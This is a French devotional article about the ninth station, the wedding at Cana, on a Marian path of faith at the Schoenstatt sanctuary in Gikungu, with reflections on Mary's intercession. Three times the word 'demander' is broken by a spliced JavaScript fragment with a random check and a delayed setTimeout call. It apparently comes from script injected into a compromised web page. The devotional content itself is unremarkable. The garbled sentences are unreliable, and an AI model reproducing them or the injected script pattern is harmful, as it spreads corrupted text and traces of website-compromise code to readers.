Le chemin de la foi de Marie nous dirige et nous mène au Sanctuaire Marial de Schoenstatt Mont Sion Gikungu. Ledit chemin est constitué de quinze stations. Cette fois-ci nous sommes devant la neuvième station.
Sur la sculpture, des hommes se réjouissent, ils boivent. C’est la fête. Jésus était invité aux noces de CANA, et Marie sa mère y était. C’est bien elle qui va remarquer que le vin est terminé. Marie était préoccupée par le succès de ces noces, raison pour laquelle elle demdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anda à son fils de faire quelque chose pour accorder aux gens le vin qui leur manquait. La Vierge Marie s’entretenait avec les serviteurs pour leurs demdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander d’exécuter tout ce que le Christ allait leur dire. La Sainte Vierge est toujours soucieuse de nous et elle ne désire que notre progrès.
Jésus est beaucoup plus sensible aux intentions de sa Mère, mais il l’est aussi pour nos cris. C’est aussi un signe d’humilité, le Dieu, dans sa majesté, dans sa sainteté qui se penche pour écouter les appels de ses enfants. Par l’intercession de sa mère, Jésus nous répond nous aussi car, il est un Dieu qui aime. À Cana, il a changé l’eau en vin et ce fut le premier miracle qu’il a opéré.
Comme l’avait signalé le Père Longin NTIRANYIBAGIRA s’exprimant devant cette scène, les noces de CANA renvoi aux noces définitives entre Dieu et son peuple. « Nous sommes appelés à comprendre que notre vie a son but ultime, celui de participer aux noces de l’Agneau à la fin des temps. »
Le rôle d’intercession qu’a là la Mère de Dieu s’était manifesté dans ce passage comme l’Évangéliste Jean le raconte dans son chapitre 2,1-12. Elle avait même pris la parole. Marie intercède et demdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande pour nous, mais c’est Jésus qui a le dernier mot et c’est sa tâche d’opérer des miracles.
Brigitte IRAKOZE